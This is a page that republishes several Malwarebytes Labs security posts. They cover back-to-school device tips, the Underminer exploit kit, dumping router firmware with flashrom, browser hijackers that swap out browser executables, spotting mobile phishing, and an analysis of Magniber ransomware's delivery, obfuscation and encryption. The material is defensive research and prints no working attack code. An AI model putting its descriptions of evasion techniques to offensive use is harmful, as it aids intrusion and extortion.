Home Blog Page 3

Back to school cybersecurity tips for parents and kids – Hackers University

Back to school cybersecurity tips for parents and kids - Malwarebytes Labs

The time to start the new school term is just around the corner. And for parents, the excitement and anxiety may be palpable, especially if it’s their kid’s first time attending a new school. Ads for back-to-school gear start as early as July, increasing in frequency and urgency until the kiddos step foot on the bus. And while they may not be begging you for new pencils and erasers, chances are they’ll turn on the puppy dog–eyed charm when it comes to new tech.

Handing your young one their very own mobile device—a laptop, usually—that they can use in their studies almost seems like a rite of passage. In their hands is the first step toward independence. It’s also a way of letting them take on some responsibilities for themselves. Parents, this isn’t to say we’re leaving them entirely to their own devices. It’s important to lay down some ground rules—especially when it comes to security.

To that effect, we’re providing you with a cybersecurity checklist you can use to prepare your children for the coming school year.

  • Watch out for too-good-to-be-true software and device sales. Is that Facebook ad really promising a brand-new Mac laptop for $200 if you just click here and fill out your personal info? Think hard before you jump on a back-to-school online ad that seems fiendishly cheap. It could be adware, it could be a scam, or it could lead you to a malicious page that will later infect your own computer.
  • Ensure that they have security software and tools installed on their new device. Antivirus with anti-phishing features, firewalls, script blockers, ad blockers, password managers, anti-theft apps, anti-malware and ransomware—you name it. Cyberattacks can come from all sides these days, so it pays to have at least one of each of these software programs and/or extensions installed on their computer, phone, or tablet. And if you think your child’s Mac is bulletproof from these attacks, think again.
  • Stress the importance of physical security, too. Physically securing devices is just as important as securing the data inside of them. We’re not just talking about using a padded bag for laptops, or shock-absorbent cases and shatterproof screen covers for phones and tablets. We’re talking about locking cables and USB port blockers, actual things that thwart theft and unauthorized access, respectively, while they’re in school.
  • Instill in them the habit of locking computers when they have to move away from them for a while. Locking screens is another way to prevent others from, say, flipping your child’s screen upside down, snooping around, and looking at files they shouldn’t be looking at. Beware the “hacked” social media posts that reveal false, embarrassing information about their users!
  • Disable the autorun functionality of their OS. As you may know, malware can be stored in and transported via USB sticks. If your child’s computer automatically runs what’s inside it once slotted into the machine’s port, then this is a real problem. Thankfully, there are a number of ways one can disable autorun. For Windows users, Microsoft has dedicated a page just for that.
  • Introduce them to multi-factor authentication (MFA). The most common and widely used MFA is two-factor authentication (2FA). In order for them to know and understand what it is, you might show them how it works using your own phone and computer. That way, if they are asked to sign up for online programs that store their data at school, they can raise their hand and ask if the program has MFA. By educating your child on this security procedure, he or she can educate the school in turn.
  • Discourage rooting/jailbreaking. If your child is old enough to figure out how to root or jailbreak a device, chances are they’ll probably be tempted to do this. Jailbreaking opens devices to custom modifications and the unrestricted download and use of apps from third-party sources. These can be quite handy if your child wants one that cannot be found in the official app store. However, jailbreaking and rooting increases the success rate of a hacking attempt, as these overwrite the device’s inherent security settings, making devices more vulnerable and susceptible to threats.
  • Update game console firmware. All work and no play makes Jack a dull boy. Isn’t your little gamer glad that back-to-school gadgets are not limited to calculators, headphones, and keyboards? Gaming consoles are becoming more like computers as they evolve. Although it’s rare for them to catch malware (at least for the time being), there are still ways hackers can circumvent their security to perform other malicious acts, such as gaining access to gaming accounts. So for now, update the gaming console’s firmware—and do this on a regular basis—before handing it to your child.

Youngsters should also play a part in securing their computing devices and protecting data. An important and particularly relevant piece of knowledge is basic computer hygiene, which might come in even more handy than algebra. Here are a few more cybersecurity tips to include in your child’s expanding mental knowledge base.

  • Ask your children to familiarize themselves with the school’s Information and Communication Technology (ICT) Acceptable Use Policy (AUP). If at this point you’ve glazed over, we understand. An ICT AUP is generally a set of rules the schools (and organizations) enforce for the proper use of the Internet. It’s for staff and students alike, so they must agree to this before they can use the school’s network. Unfortunately, many educational establishments don’t have such a policy, but if theirs does—great! Get your child acquainted with it so they can be sure they won’t be called out for misusing resources.
  • Talk to them about shoulder surfers. Some say it’s only normal for people to glance over your shoulder while you’re on your laptop, tablet, or phone. But let us not be too quick in giving this behavior a pass. Shoulder surfing is a serious security and privacy risk, and a lot of users may be in danger of compromise by unknowingly letting the person behind them watch as they key in their account password with their user name in full view.
  • Learn about encryption. The availability of information and today’s technology has made it possible for anyone, even young children, to learn about encryption. Suffice it to say—yes, there’s an app for that.

Many families have back-to-school preparation routines. From purchasing new clothes and gear to adjusting back to a more rigid activity and sleep schedule. Make learning about basic computer hygiene and securing devices a part of yours.

Underminer exploit kit improves in its latest iteration – Hackers University

Underminer exploit kit improves in its latest iteration - Malwarebytes Labs

One of the most interesting exploit kits we track is also a bit of an elusive one, and as such does not receive the same scrutiny as its RIG and Fallout counterparts. Underminer was mentioned in our Fall 2018 round up, and at the time was using CVE-2018-8174 (Internet Explorer) and CVE-2018-4878 (Flash Player up to version

In mid-December, we noticed some changes with Underminer that prompted us to take a deeper look. This happened around the same time frame as new zero-days and proof of concepts were available, which is typically an opportune moment for exploit kit authors to integrate.

Previous version and artifacts

The CVE-2018-4878 vulnerability is somewhat easy to spot within network traffic because it leaves some artifacts behind. Indeed, we use these in our lab and correlate them with other IOCs.

Traffic view of Underminer EK in November, showing CVE-20184878 artifacts

As documented in our previous blog post, Underminer uses client-server key exchange when it delivers its IE exploit, which encrypts the code but also prevents analysts from replaying it from a saved network capture. However, its SWF exploit up until now was deployed without such protections in place and could therefore be re-analyzed on its own.

New covert Flash exploit

The exploit appears to have changed as of mid-December. First, we did not see the Flash artifacts as we did before, which prompted us to test this exploit with a more recent version of Flash instead (

Traffic view of the latest Underminer EK using a different Flash exploit implementation

Second, we saw a new snippet of code within the SWF exploit landing page referencing a getSalt() function. This stoked our curiosity, and as we compared various traffic captures, we noticed that the function would always return different values.

Looking at the SWF exploit itself, we saw code that interacts with the launcher page’s JavaScript (ExternalInterface.call) and grabs that value in order to pass it to another function that decodes the exploit. When we attempted to replay the malicious SWF “artificially,” it would not fire properly.

Malwarebytes Anti-Exploit triggering with Flash Player

Because the version of Flash we used was (the latest Flash Player was not affected in our tests), we believe Underminer implemented the recent CVE-2018-15982.

The way the final payload is packaged and executed remains unique to Underminer. It’s what we call Hidden Bee. Hidden Bee is a custom payload that has specific modules and lacks the structure of the typical PE format. For this reason, it is more difficult to analyze and gives the attackers more flexibility than if they were using simple shellcode instead.

Malwarebytes users are already protected against this exploit kit, as we block both the Internet Explorer and Flash Player exploits.

Indicators of compromise (IOCs)

Underminer IP:


Flash exploit


Custom payload


Assessing the security of a portable router: a look inside its hardware, part deux – Hackers University

Assessing the security of a portable router: a look inside its hardware, part deux - Malwarebytes Labs

In part two of our blog assessing the security of a portable router, we will acquire the tools and equipment to make a copy of the firmware on our target router so that we can assess the full firmware.

Sometimes, the manufacturer has an updated firmware that is available on their website. It could be just that—an update—and therefore incomplete. We want to be able to compare the updated and existing firmware to see what was changed.

With a complete firmware, we can browse the file system of the router and look for interesting security developments. Is there an administrative backdoor? Is there functionality that might be undocumented or concerning?

Ultimately, we want to better understand how this device works, and without the complete picture, that isn’t possible (or it’s significantly harder).

More shopping

The third arm solution I had purchased in our first blog was under performing. It didn’t have enough arms, was a little on the flimsy side, and tended to tip over easily. I purchased a more robust solution. This will be used to hold the router, lights, USB microscope, and other devices when we acquire the firmware.

This contraption looks like a space octopus is on my desk, but is infinitely more useful.

We will also need a SOIC 8 PIN clip.

This will be used to connect to the eeprom without de-soldering the actual chip. (Desoldering tends to result in the chip not working ever again, at least for me.) I bought several SOIC clips, mainly because my original was taking forever to get here, and also because I read online comments on how effectiveness varied wildly between the “cheap” SOIC clips and the more expensive ones. The cheap ones have a tendency to pop off if the cabling is disturbed.

I also bought some jump wires for plumbing the clip to any diagnostic device I choose to use.

In addition, I bought a small USB microscope. Nothing fancy: 200X magnification. The writing on the chips was so small that I was struggling to read it. SuperEyes touts its use for dental purposes. It works fine for reading the small markings on various chips, too.

Acquisition hardware

There are several options to achieve this. The most common one is the Bus Pirate from Dangerous Prototypes.


After some online research, I found that there are several versions of the Bus Pirate available. I elected version 3 (v3.6 to be precise) after seeing this comment on the Dangerous Prototype page: Bus Pirate v3 is still the best choice if you want something you can use without a lot of hassle. The v4 firmware is rough around the edges, but it is improving all the time.

I bought three Bus Pirates in total: two v3.6’s and a v4.0. The plan is to have a stock v3.6, with whatever loader and firmware it comes with, and have a spare to update it to the community loader and community firmware that can be found here.

The 4.0 Bus Pirate is for the remote possibility that neither 3.6’s or other solutions work successfully. (The Bus Pirate v4 is still making its way though our postal system.)

The Bus Pirate has the highest number of blog posts and YouTube videos demonstrating its use, but during my research, I came across some information that gave me some pause.

The development by Dangerous Prototypes of the Bus Pirate seems to have stopped. It could be that it has all the needed features, but when I used the Bus Pirate in conjunction with flashrom, the software I used on my Linux development machine, it complained about the firmware revisions that came with my v3.6 models.

Further research also turned up the Shikra, made by Xipiter. I also acquired one of these, with the intention to use it to dump the router firmware with it and compare it to the one acquired with the Bus Pirate. It never hurts to have multiple ways of achieving the same results.

Let’s begin!

A fast and loose rule, when looking at the router mainboard, is that the big chip in the center is the processor, and the small chip at the side is an eeprom. If there’s any doubt, Googling the numbers on all the chips will help identify them. In some cases, there will be three chips and the third will be RAM. Some more fully featured devices may have even more chips.

In our case, we’re looking for the eeprom. The eeprom is used to store relatively small amounts of data, but allows individual bytes to be erased and reprogrammed. Hardware manufacturers can get clever by erasing the chip identifiers, covering them up in epoxy, or even both. Ours was just hard to read.

The eeprom on our target device is the smaller chip, with 8 “feet” as seen on the left of this picture.

Once we have dumped the firmware, we can also compare the latest firmware available on the website of manufacturer and the one we extracted. If we were hunting for vulnerabilities, it would actually be preferable for us to have an older firmware on our router. It gives us good hints as to what was changed in the new version. What did the patch address?

Investigating the eeprom

Rather than using the Chinese language only application that came with the SuperEyes microscope, I installed “Cheese” in Linux. Cheese can use any webcam detected, so I selected the USB 2.0 camera in the preferences and was able to use it in Ubuntu.

And here is where things get fuzzy. We have to map the pin out of the eeprom to the SOIC clip pins, and then from the SOIC clip to the BusPirate or the Shikra interface. We can Identify pin 1 by the dot on the chip, but we need to go online and try to find the data sheet for this chip to know how to connect it. I Googled several data sheets and wasn’t able to find an exact match.

At this point we could use an oscilloscope, but thats a little out of our budget, so we’re going to fudge it and use the pin from a similar eeprom chip and hope for the best.

Many of the searches I conducted indicated that this might be a Gigadevice chip. While there doesn’t seem to be a standard for which pins do what, most of the data sheets have diagrams such as this one:

I connected the SOIC chip clip by grabbing the chip. Seen from directly above, it would look like this:

And I used the microscope to verify that the pins were properly seated and making contact with the “feet” of the eeprom, as such:

The protocol we will be using to read the eeprom is SPI, and the Shikra pin documentation has a chart for SPI. We need to map the pins from the eeprom to the Shikra to successfully dump the contents of the chip. I investigated each acronym from the chip, as well as each for the Shikra (for SPI) and made a chart to know which pins go from one to the other. The eeprom is on the left of the chart; the Shikra is on the right.

And here is the finished result, from chip to clip, through jump wires to Shikra.

On our research Linux laptop, we can issue the command “$ dmesg | grep tty” to confirm the Shikra is properly detected and is located at ttyUSB0. This is what we should see as an output:

We will need an application called flashrom. A simple “$ sudo apt-get install flashrom” will do this for us. To dump the firmware, we issue this command to the Shikra “$ flashrom -p ft2232_spi:type=232H -r spidump.bin”

Flashrom identifies the chip as a GD21Q16(B) and, armed with this knowledge, Google searches yielded the exact data sheet. It feels like the long way around to get the proper data sheet in PDF form, but our gamble paid off. We now have a dump of the eeprom and we can continue our research. I reproduced the same steps as the ones I had done with the Shikra with the Bus Pirate and dumped the firmware with it as well. The Bus Pirate did take considerably longer to dump the firmware.

Flashrom did complain somewhat during the dumping process when I used the Bus Pirate, but it completed successfully.

Until next time

So we now have the firmware that was on the router. In our next and final part of this blog series, we will look at the firmware we extracted and see if we can find any vulnerabilities or other interesting changes. We will also look at the updated firmware we downloaded from the manufacturer’s website and compare the two.

File-in-the-middle hijackers – Hackers University

Yontoo: PUPs with two faces - Malwarebytes Labs

We are not sure if this is going to be a new trend among browser hijackers, but it seems more than a coincidence that we found two browser hijackers using a very similar approach to reach their goal of taking victims to the sites of their choice. Both are using one of their own files to act as a file-in-the-middle between the user and the browser. Let’s compare them.

Dotdo Audio

Dotdo is a strain of hijackers that we have discussed before for using different and more “out of bounds” methods to get the job done. I named this variant “audio” because it uses audio advertisements. But that is not our focus here. It’s the replacement of browser executables with their own that raised our interest. The installer renames the files firefox.exe and chrome.exe, if present, and adds a number to the filename. It then hides these renamed files and replaces them with its own files.

The screenshot above shows you the hidden and renamed Chrome file, in the same folder as the replacement. I changed the settings for hidden files so that we can see them.

In a similar screenshot below we can see that the same was done for Firefox.


Note that all the changes are misdated, they were all made 8/10/2016.

For the hijacker using the method of replacing files this has the advantage that they don’t have to follow the more common method of altering shortcuts. All the shortcuts the user has on his desktop, startmenu, taskbar, and anywhere else, can stay the same as the folder and filename they are pointing to are still valid and now under control of the hijacker. Then, when the false browser is started the hijacker will trigger the renamed chrome.exe and add some extra instructions.


As a result the victim will be able to surf as he expected and probably ask himself where the audio advertisements are coming from.

This one was named after the entry it makes in the list of installed Programs and Features.


The browsers are hijacked to open with traffic-media[dot]co by altering the browser shortcuts for:

  • Chrome
  • Firefox
  • Internet Explorer
  • Opera
  • Yandex


The target of the shortcuts is altered to C:Users{username}AppDataRoamingHPRewriter2RewRun3.exe  {version number} as shown in the example below.


Triggering Rewrun3.exe without a version number accomplishes nothing (it will not run), but with the version number forwarded by the shortcuts, Rewrun3 opens the targeted browser with the traffic-media[dot]co site or one of their redirects.


We discussed two hijackers from very different families and using different methods, but they also had a few things in common. They want the victims to hear/see their advertisements and they used a file-in-the-middle between the browser shortcuts and the actual browser in order to alter the browsers behavior to meet their goals.

Additional information

File properties:

Dotdo hijack installer      SHA1: 0d16eae1f5748410fa047daa533d0ebbd994ea1c

Firefox.exe (fake)            SHA1:  53a77f64595b1fb65a88247a324458f569e3d12a

Chrome.exe (fake)           SHA1: 501c9a6b224f58773b603675a71624d7e7353d1f

HPRewriter2 installer      SHA1: f96399f3b91218f30a9e58fce8009eaab5521398

Rewrun3.exe                    SHA1: 117db3909a2507e162a6361be1f4e5950f017e7d

Removal guides:

Protection and detection

Because of the intrusive changes the Dotdo installer makes it was classified as a Trojan. The resulting changes to the system are detected and removed as PUP.Optional.DotDo and PUP.Optional.MultiPlug.


Likewise some of the main files involved in the HPRewriter2 hijack are detected as Trojans. The resulting changes to the system are detected and removed as PUP.Optional.HPDefender.


As a result of the Trojan detections Malwarebytes Anti-Malware Premium users are protected against these threats even if they don’t have the Non-Malware Protection enabled.

Save yourself the hassle and get protected too.

Pieter Arntz

Something else is phishy: How to detect phishing attempts on mobile – Hackers University

Something else is phishy: How to detect phishing attempts on mobile - Malwarebytes Labs

In a report published in 2011, IBM revealed that mobile users are three times more likely to fall for phishing scams compared to desktop users. This claim was based on accessed log files found on Web servers used to host websites involved in phishing campaigns.

Almost a decade later, we continue to see different organizations reporting an increased trend in phishing attacks targeting the mobile market. Surprisingly, phishers seem to have tipped the scales to a new preferred target: iPhone users. Wandera, a mobile security solutions provider, has observed that iOS users experience twice as many phishing attacks compared to their Android counterparts.

Mobile phishing by the numbers

Below is a quick rundown of current noteworthy mobile phishing statistics to date:

  • In the whitepaper “Mobile phishing 2018: Myths and facts facing every modern enterprise today” (PDF), Lookout has determined that the rate at which users are tapping phishing links has grown an average of 85% since 2011.
  • In the latest “Phishing Activity Trend Report” (PDF), the Anti-Phishing Working Group (APWG) has revealed that the Payments industry continues to rank as the top targeted sector by phishing threat actors (36%) in Q1 2018.
  • This same APWG report also claims that 35% of all phishing sites were using HTTPS and SSL certificates.

    With Google now labeling non-HTTPS website as “Non-Secure,” expect to see more phishers abuse the accepted concept that HTTPS sites are trustworthy and legitimate.

  • In their report, “2018 State of Phish”, Wombat Security hailed smishing, short for SMS phishing, as the attack vector to watch. This is due to its increased media reporting in 2017, which they believe will continue to trend, especially in countries with low awareness of mobile phishing.
  • PhishLabs stated in its “2018 Phishing Trends & Intelligence Report” (PDF) that Email/Online Services is the top targeted industry in the second half of 2017 (26.1%), with a high concentration of phishing URLs mimicking Microsoft Office 365 login pages. This suggests that there is an increasing trend of phishing campaigns targeting businesses.
  • This same PhishLabs report has also noted a dramatic increase of phishing campaigns banking on the trust of users towards software-as-a-service (SaaS) companies (7.1%). Such attacks are said to be non-existent before 2015 but have more than doubled in two succeeding years.
  • Wandera stated that 48% of phishing attacks happen on mobile. They also claim that iOS users are 18X more likely to fall for a phish than to download malware.

Mobile phishing scam types

Phishing attacks are no longer exclusive to emails, especially on mobile. A mobile device’s inherent design and features have made it possible for phishers to create ways on how they can get into users’ heads and get their hands on vital personal and business data.

While many users are quite familiar with what phishing looks like on the desktop, these same users are not as familiar with smishing or vishing—and other types of phish one might encounter on the mobile—as they are with email phishing.


SMiShing is phishing done through SMS. Android expert and Senior Analyst Nathan Collier has written about a smishing message a colleague received on their Android device that purportedly originating from a human resources company, promoting an open albeit fake position of Prime Agent for Amazon.

iOS users also have their share of spotted smishing campaigns. Below is a smishing message posted publicly on Reddit as a warning to other iPhone users:

Screenshot of an iOS SMS phishing message. Courtesy of Redditor u/jamesmt87.

Your Apple ID has been disabled until we hear from you ,
Prevent this by confirming your informations at {bit.ly URL}
Apple inc


Vishing, or voice-mail phishing (at times, it also stands for VoIP phishing), is phishing done with the use of a device’s call feature. An attempt can be considered vishing if the potential phisher (1) leaves a recorded message to the target that something is wrong, (2) leaves a number that the target can use to call back, or (3) cold calls the target. Point two is precisely the tactic used by an iOS phishing scam that Ars Technica Editor Sean Gallagher revealed in a July 2018 post. According to Gallagher, an email directs users to a fake Apple website, which pops up a dialog box to start a call to a purported agent that goes by “Lance Roger at AppleCare.” AppleCare is Apple’s extended warranty service.

A vishing pop-up dialog box. Courtesy of Ars Technica.

In Android’s corner, we have the latest variant of Fakebank, a mobile Trojan that is capable of intercepting bank SMS and inbound and outgoing calls. A user, for example, making a call to a legitimate bank gets redirected to scammers who are posing as agents working for the bank. Security researchers have spotted this variant in affected apps geared towards Korean bank clients.

Vishing can also be a part of a greater business email compromise (BEC) attack.

Other types: messenger phishing, social phishing, and ad-network phishing

Apps continue to shape a user’s mobile experience for the better. Without them, one may likely just consider their phones as a pricey paperweight.

These brilliant little programs have made it possible for users to both access their personal and work emails while away from a desktop computer, keep in touch with family and friends via messaging platforms while on the go, share and access media in real-time, and stave off boredom while waiting.

Phishers, unfortunately, have leveraged the power of apps to their advantage. And the internet is rife with stories of people who got (or nearly got) phished via mobile apps.

Take, for instance, the Facebook message that used Messenger as a launchpad to spread a purported “viral video” of the recipient complete with their picture and name, and a number indicating the view count.

Screenshot of a Facebook Messenger phish. Courtesy of Security For Real People.

Clicking this “video” sent mobile users to a fake Facebook Videos login screen, wherein they were then encouraged to key in their Facebook credentials. Doing so sent a similar video bait to contacts, not to mention scammers hijacking the accounts of those who fell for this trick.

This is a case of messenger phishing. It is a type of phishing attempt that uses messaging services on mobile devices. Examples of these services are WhatsApp, Instagram, Viber, Skype, Snapchat, and Slack.

Then there’s social phishing, which is an attempt that abuses social networking sites to spread a phishing campaign. Below is a capture of a phishing message sent to a recipient via LinkedIn’s InMail feature:

Screenshot of a LinkedIn InMail phish. Courtesy of KnowBe4.

Here’s another case of social phishing: A Twitter account posing as NatWest bank inserted itself into a live conversation between a NatWest bank client and NatWest’s official Twitter channel in an attempt to present a bogus quick fix to the current concern the real bank was attempting to address.

Malwarebytes has caught a fake NatWest Twitter account red-handed.

Finally, ad-network phishing. On mobile, ads can come in many forms: They can be in free apps, on web pages the user visits, and as a pop-up notification or banner. Because apps communicate with other services (like an ad network) at the background, they can potentially expose mobile users to risks like a phishing campaign (at best) or malware (at worst).

We’d be remiss if we don’t mention phishing apps. These are fake apps that bank on the names of popular online brands, usually promising one or more perks if downloaded and installed. Such is the case of multiple fake Instagram apps that were pulled from the Google Play store after being found to collect credentials. These apps have been downloaded 1.5 million times, and they promise to boost follower count, post likes, and comments.

Mobile phish spotting

Mobile phishing attempts are quite a challenge to detect, more so for the uninitiated and the unacquainted. Regardless of your level of know-how or your computing platform of choice, as a rule of thumb, it is always best to familiarize yourself with common phishing tactics and trends. We already have a great and very comprehensive list of red flags that can guide you in determining phishing attempts in general. However, mobile users can significantly benefit from our listing of tell-tale signs of potential mobile phishing attempts (below) just as well:

  • The message comes out of the blue, claiming that you either (1) won a prize, (2) have an account or subscribed service suddenly deactivated (often without disclosing a reason), or (3) there is a very urgent need for you to do something to address a problem. Such claims are tried-and-tested social engineering ploys that more often than not give the game away.

    When it comes to being truly notified for actual breaches and that steps must be taken to mitigate its effects, however, it is best for users to avoid clicking links in these notifications (which we agree is faster and more convenient) in favor of going directly to the legitimate domain (either by loading it from bookmark or manually typing in the address in the address bar) and logging in from there.

  • The message comes from an unknown number or sender. And if it claims to be from a service you actually use, be doubly cautious. As it’s near impossible to determine on mobile if the service provider is who they say they really are, you might be better off verifying any claims for yourself, just like in the above point, and checking for logged suspicious activities. If you’re still a bit bothered, contact your service provider’s customer support department.
  • The message comes with a bogus hyperlink, which may be obvious to some but not to others. It pays to be very familiar with URLs of official web addresses of services you use online. If you feel or think that something is off, even if you’re unsure what is triggering this, err on the side of caution and avoid clicking that link.
  • The message comes with a shortened URL. Shortening URLs is an excellent method to make effective use of space that has a limited character count. Unfortunately, this can be abused to mask potentially malicious URLs from being detected at first glance.
  • If the message or caller asks for personal information, if not more information, from you. A majority of legitimate and reputable businesses don’t call or send messages asking for sensitive information. In some cases, banks do call if they suspect potential fraud activity with your account. They do this to check that you are who you say you are. However, there are certain information they will never ask you to divulge, such as your account PIN or Social Security Number (SSN).
  • If the message or caller doesn’t address you by your name. Again, a majority of businesses know who their clients are and will always address you by your name.
  • If the URL you get directed to doesn’t have a green padlock. Yes, having HTTPS on a website is no longer a solid proof that one is not on a malicious page, but there are still a lot of phishing campaigns out there that forgo using HTTPS.
  • If the URL you get redirected to appears to be right, but also has unexplained dashes after it. Phishers are already using a technique called URL padding, wherein they pad the subdomain, which consists of a legitimate website address, with hyphens to hide the real domain and create believability.

    Screenshot of a fake Facebook login screen where phishers used URL padding. Courtesy of PhishLabs.

    In this example, the complete URL is hxxp://m.facebook.com----------------validate----step1.rickytaylk[dot]com/sign_in.html, where rickytaylk[dot]com is the domain and m.facebook.com----------------validate----step1 is the long subdomain. Users would likely find it difficult to view the complete URL given the mobile’s small screen size, but what they can do is copy the URL and paste it on a notepad app. From there, users can scrutinize the URL more effectively.

A word on homograph attacks: Yes, they work on mobile devices, too. Fortunately, many of modern internet browsers are already programmed to display the Punycode version of domains that contain confusables (or non-English characters that visually appear similar to one or more English alphabets).

Users seeing a Punycode URL on their mobile browser could be alerted that they’re on a page they’re not supposed to be on. And this is a good thing. However, not all apps that accept and display text have considered the possibility of homograph attacks. According to Wandera’s research, many communications and collaboration tools used by employees on both Android and iOS don’t flag Punycode URLs as suspicious.

“Only Facebook Messenger, Instagram and Skype provided an opportunity for the user to identify the punycode URL by either showing a preview of the webpage with the xn prefix, or, in the case of skype, by not providing a hyperlink for domains using unicode, meaning users can’t click through from the message.” writes Liarna La Porta, Content Marketing Manager for Wandera, in a blog post. “While these apps are not providing the best methods of defense, they at least provide an opportunity to asses suspicious links more closely.”

Phish-proof no more?

In April of 2017, a Lithuanian man who posed as Quanta Computer, a Taiwanese electronics manufacturing company, successfully conned two big names in the tech industry, each paying him over $100M. These companies eventually got the bulk of their money back, but not after making headlines that made readers gasp. Who were these phishing victims? They’re Google and Facebook.

When it comes to a target’s low potentiality to fall for a phishing lure, it appears that tech savviness is slowly becoming a non-factor. It is challenging enough for desktop users to successfully determine a believable phish. With mobile devices, which already have a size limitation and more potential attack points, users are doubly challenged, especially if the adversary is motivated enough to steal the sensitive corporate data stored in them.

Indeed, phishing has branched beyond email. And using commodity-level phishing protection on mobile is inadequate in defending users from attacks. Being truly phish-proof (or akin to it) may require necessary adjustments on the side of both man and machine: improved security features on mobile devices and their apps, and knowing the red flags and what steps to take to adequately respond to a phishing attempt are key.

Recommended reading:

  • “Phishing attacks on modern Android” (direct PDF link here)
  • “Social Phishing” (direct PDF link here)


Magniber ransomware improves, expands within Asia – Hackers University

Magniber ransomware improves, expands within Asia

This blog post was authored by @hasherezade and Jérôme Segura.

The Magnitude exploit kit is one of the longest-serving browser exploitation toolkits among those still in use. After its inception in 2013, it enjoyed worldwide distribution with a liking for ransomware. Eventually, it became a private operation that had a narrow geographic focus.

During 2017, Magnitude delivered Cerber ransomware via a filtering gate known as Magnigate, only to a select few Asian countries. In October 2017, the exploit kit operator began to distribute its own breed of ransomware, Magniber. That change came with an interesting twist—the malware authors went to great lengths to limit infections to South Korea. In addition to traffic filtering via country-specific malvertising chains, Magniber would only install if a specific country code was returned, otherwise it would delete itself.

In April 2018, Magnitude unexpectedly started pushing the ever-growing GandCrab ransomware, shortly after having adopted a fresh Flash zero-day (CVE-2018-4878). What may have been a test campaign did not last long, and shortly after, Magniber was back again. In our recent captures of Magnitude, we now see the latest Internet Explorer exploit (CVE-2018-8174) being used primarily, which it integrated after a week-long traffic interruption.

In this post, we take a look at some notable changes with Magniber. Its source code is now more refined, leveraging various obfuscation techniques and no longer dependent on a Command and Control server or hardcoded key for its encryption routine. In addition, while Magniber previously only targeted South Korea, it has now expanded its reach to other Asia Pacific countries.

Extracting the payload

There are several stages before the final payload is downloaded and executed. After Magnigate’s 302 redirection (Step 1), we see a Base64 obfuscated JavaScript (Step 2) used to launch Magnitude’s landing page, along with a Base64 encoded VBScript. (Both original versions of the scripts are available at the end of this post in the IOCs.) After CVE-2018-8174’s exploitation, the XOR-encrypted Magniber is retrieved.

Figure 1. Traffic view of a Magniber infection, via Magnigate redirection and Magnitude EK

Figure 2. Decoded Javascript shows redirection to Magnitude’s landing page

Figure 3. VBScript code snippet showing part of CVE-2018-8174

Once exploitation of the Use After Free vulnerability in Internet Explorer (CVE-2018-8174) is successful, the VBScript will execute the following shellcode:

Figure 4. Byte array (shellcode)

Functionality-wise, this shellcode is a simple downloader. It downloads the obfuscated payload, decodes it by XOR with a key, and then deploys it:

Figure 5. Downloading the final payload via InternetOpenUrlw API

The downloaded payload (72fce87a976667a8c09ed844564adc75) is, however, still not the Magniber core, but a next stage loader. This loader unpacks the Magniber’s core DLL (19599cad1bbca18ac6473e64710443b7) and injects it into a process.

Both elements, the loader and Magniber core, are DLLs with Reflective Loader stub, that load themselves into a current process using the Reflective DLL injection technique.

Behavioral analysis

The actions performed by Magniber haven’t changed much; it encrypts files and at the end drops a ransom note named README.txt.

Figure 6. Ransom note left on the infected machine

The given links lead to an onion page that is unique per victim and similar to many other ransomware pages:

Figure 7. Magniber’s payment page

The files encrypted by this version of Magniber can be identified by their extension: .dyaaghemy. While in the past each file was encrypted with the same AES key, this time each file is encrypted with a unique key—the same plaintext gives a different ciphertext. The encrypted content has no patterns visible. That suggests that a stream cipher or a cipher with chained blocks was used (probably AES in CBC mode). Below you can see a BMP file before and after being encrypted by Magniber:

Figure 8. Visualizing a file before and after encryption

Code changes

Magniber is constantly evolving with big portions of its code fully rewritten over time. Below you can see a code comparison between the current Magniber DLL and an earlier version (8a0244eedee8a26139bea287a7e419d9), created with the help of BinDiff:

Figure 9. Comparing an older Magniber with the newer one


The authors put a lot of effort in improving obfuscation. The first version we described was not obfuscated at all. The current, in contrast, is obfuscated using a few different techniques. First of all, API functions are now dynamically retrieved by their checksums. For example:

Figure 10. Calling API functions via checksum

Comparing the new and the old version, we can see some overlapping fragments of code:

Figure 11. Old version with normal import calls vs. new version with dynamically retrieved functions

The function pointer is retrieved by searching through export tables of the DLLs that are currently loaded. This technique requires that the DLL from which we want to retrieve the function to be already loaded. This algorithm of retrieving function was added to Magniber a few months ago, for example in the sample 60af42293d2dbd0cc8bf1a008e06f394.

In addition, some of the parameters for the calls are dynamically calculated and junk code is added in between the operations. A string that is supposed to be loaded is scattered through several variables.

Figure 12. Adding junk code to make analysis more tricky

File encryption

We can also observe some changes at the functionality level. The early versions relied on the AES key downloaded from the CnC server (and in case if it was not available, falling back to the hardcoded one, making decryption trivial in such case). This time, Magniber comes with a public RSA key of the attackers that makes it fully independent from the Internet connection during the encryption process. This key is used for protecting the unique AES keys used to encrypt files.

The attacker’s RSA key is hardcoded in the sample in obfuscated form. This is how it looks after deobfuscation:

Figure 13. Deobfuscated RSA key

Each time a new file is going to be encrypted, two 16-byte long strings are generated. One will be used as an AES key, and another as an initialization vector (IV). Below you can see the fragment of code responsible for generating those pseudo-random strings.

Figure 14. Generating pseudo-random strings

The interesting fact is what they use as a random generator—a weak source of randomness may create a vulnerability. We can see that under the hood GetTickCount is called:

Figure 15. Random generator using GetTickCount

The full reconstruction of the code generating the key and IV is available in the following snippet: https://gist.github.com/hasherezade/7fb69fbd045315b42d7f962a83fdc300

Before the ransomware proceeds to encrypt the file, the RSA key is imported and used to encrypt the generated data (key+IV):

Figure 16. RSA key import right before file encryption begins

It produces an encrypted block of 256 bytes that is passed to the encrypting function, and later appended at the end of the encrypted file. Apart from those changes, files are encrypted similar to before, with the help of Windows’ Crypto API.

Figure 16. Setting the AES key and initialization vector

Figure 17. Encrypting and writing to a file

Geographic expansion

In early July, we noted exploit attempts happening outside of the typical area we had become used to, for instance in Malaysia. At about the same time, a tweet from MalwareHunterTeam mentioned infections in Taiwan and Hong Kong.

Following the changes in the distribution scope, the code of Magniber got updated to whitelist more languages. Now the list expanded, adding other Asian languages, such as Chinese (Macau, China, Singapore) and Malay (Malysia, Brunei).

Figure 17. Expanded language checks

Continuing evolution

While Magniber was not impressive at first, having simple code and no obfuscation, it is actively developed and its quality continuously improves. Their authors appear professional, even though they commit some mistakes.

This ransomware operation is carried with surgical precision, from a careful distribution to a matching whitelist of languages. Criminals know exactly which countries they want to target, and they put their efforts to minimize noise and reduce collateral damage.

Malwarebytes users are protected against this threat thanks to our anti-exploit module, which blocks Magnitude EK’s attempt to exploit CVE-2018-8174 (VBScript engine vulnerability):

Thanks to David Ledbetter for his help with deobfuscating the VBScript.

Indicators of compromise (IOCs)

178.32.62[.]130,bluehuge[.]expert,Magnigate (Step 1)
